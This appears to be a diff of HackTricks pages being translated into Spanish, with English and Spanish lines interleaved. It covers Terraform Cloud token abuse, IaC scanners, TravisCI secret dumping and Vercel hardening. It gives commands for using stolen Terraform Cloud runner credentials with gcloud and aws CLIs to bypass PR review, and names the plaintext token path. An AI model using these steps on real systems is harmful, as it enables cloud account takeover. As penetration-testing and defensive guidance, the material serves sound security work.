- Usa las credenciales de corta duración fuera de banda para eludir los gates de VCS:
GCP (gcloud):
```bash
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>
```
AWS (AWS CLI):
```bash
export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
```
With these creds, attackers can create/modify/destroy resources directly using native CLIs, sidestepping PR-based workflows that block `apply` via VCS.
Con estas credenciales, los atacantes pueden crear/modificar/eliminar recursos directamente usando CLIs nativos, eludiendo flujos de trabajo basados en PR que bloquean `apply` vía VCS.
- Defensive guidance:
- Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners.
- Restrict `plan` permission on sensitive VCS-backed workspaces where feasible.
- Enforce provider/data source allowlists with Sentinel policies to block `data "external"` or unknown providers. See HashiCorp guidance on provider filtering.
- Prefer OIDC/WIF over static cloud credentials; treat runners as sensitive. Monitor speculative plan runs and unexpected egress.
- Detect exfiltration of `tfc-*` credential artifacts and alert on suspicious `external` program usage during plans.
- Aplica el principio de mínimo privilegio a usuarios/equipos y tokens de TFC. Audita membresías y evita propietarios con permisos excesivos.
- Restringe el permiso `plan` en workspaces sensibles respaldados por VCS cuando sea posible.
- Implementa allowlists de provider/data source con políticas Sentinel para bloquear `data "external"` o providers desconocidos. Consulta la guía de HashiCorp sobre provider filtering.
- Prefiere OIDC/WIF sobre credenciales cloud estáticas; considera los runners como sensibles. Monitorea ejecuciones de `plan` especulativas y egresos inesperados.
- Detecta la exfiltración de artefactos de credenciales `tfc-*` y alerta sobre uso sospechoso del programa `external` durante ejecuciones de `plan`.
## Compromising Terraform Cloud
## Comprometiendo Terraform Cloud
### Using a token
### Usando un token
As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Stealing this token lets an attacker impersonate the user within the tokens scope.
Using this token it's possible to get the org/workspace with:
Como **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI almacena tokens en texto plano en **`~/.terraform.d/credentials.tfrc.json`**. Robar este token permite a un atacante hacerse pasar por el usuario dentro del alcance del token.
Usando este token es posible obtener la org/workspace con:
```bash
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>
```
Entonces es posible ejecutar código arbitrario usando **`terraform plan`** como se explicó en el capítulo anterior.
Then it's possible to run arbitrary code using **`terraform plan`** as explained in the previous chapter.
### Escapar a la nube
### Escaping to the cloud
Entonces, si el runner está ubicado en algún entorno en la nube, es posible obtener un token del principal adjunto al runner y utilizarlo fuera de banda.
Then, if the runner is located in some cloud environment, it's possible to obtain a token of the principal attached to the runner and use it out of band.
- **GCP files (present in current run working directory)**
- `tfc-google-application-credentials` — JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.
- `tfc-gcp-token` — shortlived (≈1 hour) GCP access token referenced by the above
- **GCP files (presentes en el directorio de trabajo de la ejecución actual)**
- `tfc-google-application-credentials` — configuración JSON para Workload Identity Federation (WIF) que indica a Google cómo intercambiar la identidad externa.
- `tfc-gcp-token` — token de acceso de GCP de corta duración (≈1 hora) referenciado por el anterior
- **AWS files**
- `tfc-aws-shared-config` — JSON for web identity federation/OIDC role assumption
(preferred over static keys).
- `tfc-aws-token` — shortlived token, or potentially static IAM keys if misconfigured.
- `tfc-aws-shared-config` — JSON para web identity federation/OIDC role assumption (preferido frente a claves estáticas).
- `tfc-aws-token` — token de corta duración, o potencialmente claves IAM estáticas si está mal configurado.
## Automatic Audit Tools
## Herramientas de auditoría automáticas
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.
- **Features:**
- Real-time scanning for security vulnerabilities and compliance issues.
- Integration with version control systems (GitHub, GitLab, Bitbucket).
- Automated fix pull requests.
- Detailed remediation advice.
- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
Snyk ofrece una solución integral de escaneo Infrastructure as Code (IaC) que detecta vulnerabilidades y malas configuraciones en Terraform, CloudFormation, Kubernetes y otros formatos IaC.
- **Características:**
- Escaneo en tiempo real para vulnerabilidades de seguridad y problemas de cumplimiento.
- Integración con sistemas de control de versiones (GitHub, GitLab, Bitbucket).
- Pull requests de corrección automatizados.
- Consejos detallados de remediación.
- **Regístrate:** Crea una cuenta en [Snyk](https://snyk.io/).
```bash
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.
**Checkov** es una herramienta de análisis estático de código para infraestructura como código (IaC) y también una herramienta de análisis de composición de software (SCA) para imágenes y paquetes de código abierto.
It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.
It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).
Escanea la infraestructura en la nube aprovisionada usando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) y detecta misconfiguraciones de seguridad y cumplimiento mediante un escaneo basado en grafos.
Realiza [Software Composition Analysis (SCA scanning)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), que es un escaneo de paquetes de código abierto e imágenes en busca de Common Vulnerabilities and Exposures (CVEs).
```bash
pip install checkov
checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.
Desde la [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` es un framework de pruebas ligero, centrado en seguridad y cumplimiento, para terraform que permite realizar pruebas negativas en tu infraestructura como código.
- **compliance:** Ensure the implemented code is following security standards, your own custom standards
- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
- **pre-deploy:** it validates your code before it is deployed
- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
- **compliance:** Asegura que el código implementado cumple con los estándares de seguridad y con tus propios estándares personalizados
- **desarrollo guiado por comportamiento:** Tenemos BDD para casi todo, ¿por qué no para IaC?
- **portátil:** simplemente instálalo con `pip` o ejecútalo vía `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
- **pre-deploy:** valida tu código antes de desplegarlo
- **fácil de integrar:** puede ejecutarse en tu pipeline (o en git hooks) para asegurar que todos los despliegues sean validados.
- **separación de funciones:** puedes mantener tus tests en un repositorio distinto donde un equipo separado sea responsable.
> [!NOTE]
> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
> Desafortunadamente, si el código usa algunos proveedores a los que no tienes acceso, no podrás ejecutar `terraform plan` ni usar esta herramienta.
```bash
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
```
### [tfsec](https://github.com/aquasecurity/tfsec)
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
- ⛔ Hundreds of built-in rules
- 🪆 Scans modules (local and remote)
- Evaluates HCL expressions as well as literal values
- ↪️ Evaluates Terraform functions e.g. `concat()`
- 🔗 Evaluates relationships between Terraform resources
- 🧰 Compatible with the Terraform CDK
- 🙅 Applies (and embellishes) user-defined Rego policies
- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ Configurable (via CLI flags and/or config file)
- ⚡ Very fast, capable of quickly scanning huge repositories
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec usa análisis estático de tu código de terraform para detectar posibles errores de configuración.
- ☁️ Verifica configuraciones incorrectas en todos los principales (y algunos secundarios) proveedores cloud
- ⛔ Cientos de reglas integradas
- 🪆 Escanea módulos (locales y remotos)
- Evalúa expresiones HCL así como valores literales
- ↪️ Evalúa funciones de Terraform p. ej. `concat()`
- 🔗 Evalúa relaciones entre recursos de Terraform
- 🧰 Compatible con Terraform CDK
- 🙅 Aplica (y enriquece) políticas Rego definidas por el usuario
- 📃 Soporta múltiples formatos de salida: lovely (por defecto), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ Configurable (vía flags de CLI y/o archivo de configuración)
- ⚡ Muy rápido; capaz de escanear rápidamente repositorios enormes
```bash
brew install tfsec
tfsec /path/to/folder
```
### [terrascan](https://github.com/tenable/terrascan)
Terrascan es un analizador estático de código para Infraestructura como Código. Terrascan permite:
- Escanear de forma fluida la infraestructura como código en busca de misconfiguraciones.
- Monitorizar la infraestructura cloud provisionada en busca de cambios de configuración que introduzcan posture drift, y permitir revertir a una postura segura.
- Detectar vulnerabilidades de seguridad y violaciones de cumplimiento.
- Mitigar riesgos antes de provisionar infraestructura nativa en la nube.
- Ofrece flexibilidad para ejecutarse localmente o integrarse con tu CI\CD.
```bash
brew install terrascan
terrascan scan -d /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)
Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx.
**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project.
Encuentra vulnerabilidades de seguridad, problemas de cumplimiento y errores de configuración de infraestructura temprano en el ciclo de desarrollo de tu infraestructura como código con **KICS** de Checkmarx.
**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, es de código abierto y es imprescindible para cualquier proyecto cloud native.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)
From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
- Seamlessly scan infrastructure as code for misconfigurations.
- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
- Detect security vulnerabilities and compliance violations.
- Mitigate risks before provisioning cloud native infrastructure.
- Offers flexibility to run locally or integrate with your CI\CD.
Según la [**docs**](https://github.com/tenable/terrascan): Terrascan es un analizador estático de código para Infraestructura como Código. Terrascan te permite:
- Escanear de forma transparente la infraestructura como código en busca de misconfiguraciones.
- Supervisar la infraestructura en la nube aprovisionada para cambios de configuración que introduzcan posture drift, y permite revertir a una postura segura.
- Detectar vulnerabilidades de seguridad y violaciones de cumplimiento.
- Mitigar riesgos antes de aprovisionar infraestructura nativa en la nube.
- Ofrece flexibilidad para ejecutarlo localmente o integrarlo con tu CI\CD.
```bash
brew install terrascan
```
## References
## Referencias
- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
- [Terraform Cloud API Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
- [AWS CLI OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
- [GCP provider Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
- [Terraform Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
- [Snyk Labs Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
- [Abuso de tokens de Terraform Cloud convierte speculative plan en remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
- [Terraform Cloud permisos](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
- [Terraform Cloud API Mostrar workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
- [AWS provider configuración](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
- [AWS CLI Asunción de rol OIDC](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
- [GCP provider Uso de Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
- [Terraform Variables sensibles](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
- [Snyk Labs Gitflops: peligros de las plataformas de automatización de Terraform](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
{{#include ../banners/hacktricks-training.md}}

View File

@@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
Las PRs de Github son bienvenidas explicando cómo (ab)usar esas plataformas desde la perspectiva de un atacante
- Drone
- TeamCity
@@ -11,9 +11,6 @@ Github PRs are welcome explaining how to (ab)use those platforms from an attacke
- Rancher
- Mesosphere
- Radicle
- Any other CI/CD platform...
- Cualquier otra plataforma CI/CD...
{{#include ../banners/hacktricks-training.md}}

View File

@@ -1,68 +1,65 @@
# TravisCI Security
# TravisCI Seguridad
{{#include ../../banners/hacktricks-training.md}}
## What is TravisCI
## Qué es TravisCI
**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
**Travis CI** es un servicio de **integración continua** **alojado** o en **local** utilizado para construir y probar proyectos de software alojados en varias **diferentes plataformas git**.
{{#ref}}
basic-travisci-information.md
{{#endref}}
## Attacks
## Ataques
### Triggers
### Disparadores
To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
Para lanzar un ataque primero necesitas saber cómo disparar una construcción. Por defecto, TravisCI **disparará una construcción en los pushes y pull requests**:
![](<../../images/image (145).png>)
#### Cron Jobs
#### Trabajos Cron
If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
Si tienes acceso a la aplicación web puedes **configurar trabajos cron para ejecutar la construcción**, esto podría ser útil para persistencia o para disparar una construcción:
![](<../../images/image (243).png>)
> [!NOTE]
> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
> Parece que no es posible configurar trabajos cron dentro del `.travis.yml` según [esto](https://github.com/travis-ci/travis-ci/issues/9162).
### Third Party PR
### PR de Terceros
TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
TravisCI por defecto desactiva el compartir variables de entorno con PRs provenientes de terceros, pero alguien podría habilitarlo y entonces podrías crear PRs al repositorio y exfiltrar los secretos:
![](<../../images/image (208).png>)
### Dumping Secrets
### Volcado de Secretos
As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
Como se explica en la página de [**información básica**](basic-travisci-information.md), hay 2 tipos de secretos. **Secretos de Variables de Entorno** (que están listados en la página web) y **secretos encriptados personalizados**, que se almacenan dentro del archivo `.travis.yml` como base64 (ten en cuenta que ambos, al ser almacenados encriptados, terminarán como variables de entorno en las máquinas finales).
- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
- Para **enumerar secretos** configurados como **Variables de Entorno** ve a la **configuración** del **proyecto** y revisa la lista. Sin embargo, ten en cuenta que todas las variables de entorno del proyecto configuradas aquí aparecerán al disparar una construcción.
- Para enumerar los **secretos encriptados personalizados** lo mejor que puedes hacer es **revisar el archivo `.travis.yml`**.
- Para **enumerar archivos encriptados** puedes buscar archivos **`.enc`** en el repositorio, por líneas similares a `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` en el archivo de configuración, o por **iv y claves encriptadas** en las **Variables de Entorno** como:
![](<../../images/image (81).png>)
### TODO:
- Example build with reverse shell running on Windows/Mac/Linux
- Example build leaking the env base64 encoded in the logs
- Ejemplo de construcción con shell reverso ejecutándose en Windows/Mac/Linux
- Ejemplo de construcción filtrando la env codificada en base64 en los logs
### TravisCI Enterprise
If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
Si un atacante termina en un entorno que utiliza **TravisCI enterprise** (más información sobre qué es esto en la [**información básica**](basic-travisci-information.md#travisci-enterprise)), podrá **disparar construcciones en el Worker.** Esto significa que un atacante podrá moverse lateralmente a ese servidor desde el cual podría ser capaz de:
- escape to the host?
- compromise kubernetes?
- compromise other machines running in the same network?
- compromise new cloud credentials?
- ¿escapar al host?
- ¿comprometer kubernetes?
- ¿comprometer otras máquinas que se ejecutan en la misma red?
- ¿comprometer nuevas credenciales en la nube?
## References
## Referencias
- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,48 +1,45 @@
# Basic TravisCI Information
# Información Básica de TravisCI
{{#include ../../banners/hacktricks-training.md}}
## Access
## Acceso
TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI.
TravisCI se integra directamente con diferentes plataformas de git como Github, Bitbucket, Assembla y Gitlab. Pedirá al usuario que le otorgue a TravisCI permisos para acceder a los repos que desea integrar con TravisCI.
For example, in Github it will ask for the following permissions:
Por ejemplo, en Github pedirá los siguientes permisos:
- `user:email` (read-only)
- `read:org` (read-only)
- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
- `user:email` (solo lectura)
- `read:org` (solo lectura)
- `repo`: Concede acceso de lectura y escritura al código, estados de confirmación, colaboradores y estados de implementación para repositorios y organizaciones públicas y privadas.
## Encrypted Secrets
## Secretos Encriptados
### Environment Variables
### Variables de Entorno
In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build.
En TravisCI, al igual que en otras plataformas de CI, es posible **guardar secretos a nivel de repositorio** que se guardarán encriptados y serán **desencriptados y enviados en la variable de entorno** de la máquina que ejecuta la construcción.
![](<../../images/image (203).png>)
It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will).
Es posible indicar las **ramas a las que los secretos estarán disponibles** (por defecto todas) y también si TravisCI **debería ocultar su valor** si aparece **en los registros** (por defecto lo hará).
### Custom Encrypted Secrets
### Secretos Encriptados Personalizados
For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repositorys **public key available** to those who have **access** to the repository.
You can access the public key of one repo with:
Para **cada repositorio** TravisCI genera un **par de claves RSA**, **mantiene** la **privada**, y hace disponible la **clave pública** del repositorio a aquellos que tienen **acceso** al repositorio.
Puedes acceder a la clave pública de un repositorio con:
```
travis pubkey -r <owner>/<repo_name>
travis pubkey -r carlospolop/t-ci-test
```
Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**.
Luego, puedes usar esta configuración para **encriptar secretos y agregarlos a tu `.travis.yaml`**. Los secretos serán **desencriptados cuando se ejecute la construcción** y accesibles en las **variables de entorno**.
![](<../../images/image (139).png>)
Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings.
Ten en cuenta que los secretos encriptados de esta manera no aparecerán listados en las variables de entorno de la configuración.
### Custom Encrypted Files
Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**:
### Archivos Encriptados Personalizados
De la misma manera que antes, TravisCI también permite **encriptar archivos y luego desencriptarlos durante la construcción**:
```
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
@@ -52,7 +49,7 @@ storing secure env variables for decryption
Please add the following to your build script (before_install stage in your .travis.yml, for instance):
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
Pro Tip: You can add it automatically by running with --add.
@@ -60,36 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository.
Make sure not to add super_secret.txt to the git repository.
Commit all changes to your .travis.yml.
```
Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
Tenga en cuenta que al cifrar un archivo se configurarán 2 variables de entorno dentro del repositorio, como:
![](<../../images/image (170).png>)
## TravisCI Enterprise
Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the server version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to.
Travis CI Enterprise es una **versión on-prem de Travis CI**, que puede implementar **en su infraestructura**. Piense en la versión 'servidor' de Travis CI. Usar Travis CI le permite habilitar un sistema de Integración Continua/Despliegue Continuo (CI/CD) fácil de usar en un entorno, que puede configurar y asegurar como desee.
**Travis CI Enterprise consists of two major parts:**
**Travis CI Enterprise consta de dos partes principales:**
1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc.
2. TCI **Worker** and build environment images (also called OS images).
1. Servicios de TCI **(o Servicios Centrales de TCI)**, responsables de la integración con sistemas de control de versiones, autorización de compilaciones, programación de trabajos de compilación, etc.
2. TCI **Worker** e imágenes del entorno de compilación (también llamadas imágenes de SO).
**TCI Core services require the following:**
**Los servicios centrales de TCI requieren lo siguiente:**
1. A **PostgreSQL11** (or later) database.
2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required
3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details.
1. Una base de datos **PostgreSQL11** (o posterior).
2. Una infraestructura para implementar un clúster de Kubernetes; se puede implementar en un clúster de servidores o en una sola máquina si es necesario.
3. Dependiendo de su configuración, es posible que desee implementar y configurar algunos de los componentes por su cuenta, por ejemplo, RabbitMQ - consulte la [Configuración de Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) para más detalles.
**TCI Worker requires the following:**
**El Worker de TCI requiere lo siguiente:**
1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**.
2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details.
1. Una infraestructura donde se pueda implementar una imagen de docker que contenga el **Worker y una imagen de compilación vinculada**.
2. Conectividad a ciertos componentes de los Servicios Centrales de Travis CI - consulte la [Configuración del Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) para más detalles.
The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure.
La cantidad de imágenes de OS de Worker de TCI y del entorno de compilación implementadas determinará la capacidad total concurrente de la implementación de Travis CI Enterprise en su infraestructura.
![](<../../images/image (199).png>)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,439 +2,436 @@
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## Información Básica
In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
En Vercel, un **Equipo** es el **entorno** completo que pertenece a un cliente y un **proyecto** es una **aplicación**.
For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
Para una revisión de endurecimiento de **Vercel**, necesitas solicitar un usuario con **permiso de rol de Visualizador** o al menos **permiso de visualizador de proyecto sobre los proyectos** para verificar (en caso de que solo necesites revisar los proyectos y no la configuración del Equipo también).
## Project Settings
## Configuraciones del Proyecto
### General
**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
**Propósito:** Administrar configuraciones fundamentales del proyecto, como el nombre del proyecto, el marco y las configuraciones de construcción.
#### Security Configurations:
#### Configuraciones de Seguridad:
- **Transfer**
- **Misconfiguration:** Allows to transfer the project to another team
- **Risk:** An attacker could steal the project
- **Delete Project**
- **Misconfiguration:** Allows to delete the project
- **Risk:** Delete the prject
- **Transferencia**
- **Mala Configuración:** Permite transferir el proyecto a otro equipo
- **Riesgo:** Un atacante podría robar el proyecto
- **Eliminar Proyecto**
- **Mala Configuración:** Permite eliminar el proyecto&#x20;
- **Riesgo:** Eliminar el proyecto
---
### Domains
### Dominios
**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
**Propósito:** Administrar dominios personalizados, configuraciones de DNS y configuraciones de SSL.
#### Security Configurations:
#### Configuraciones de Seguridad:
- **DNS Configuration Errors**
- **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
- **Risk:** Domain hijacking, traffic interception, and phishing attacks.
- **SSL/TLS Certificate Management**
- **Misconfiguration:** Using weak or expired SSL/TLS certificates.
- **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
- **DNSSEC Implementation**
- **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
- **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
- **Environment used per domain**
- **Misconfiguration:** Change the environment used by the domain in production.
- **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
- **Errores de Configuración de DNS**
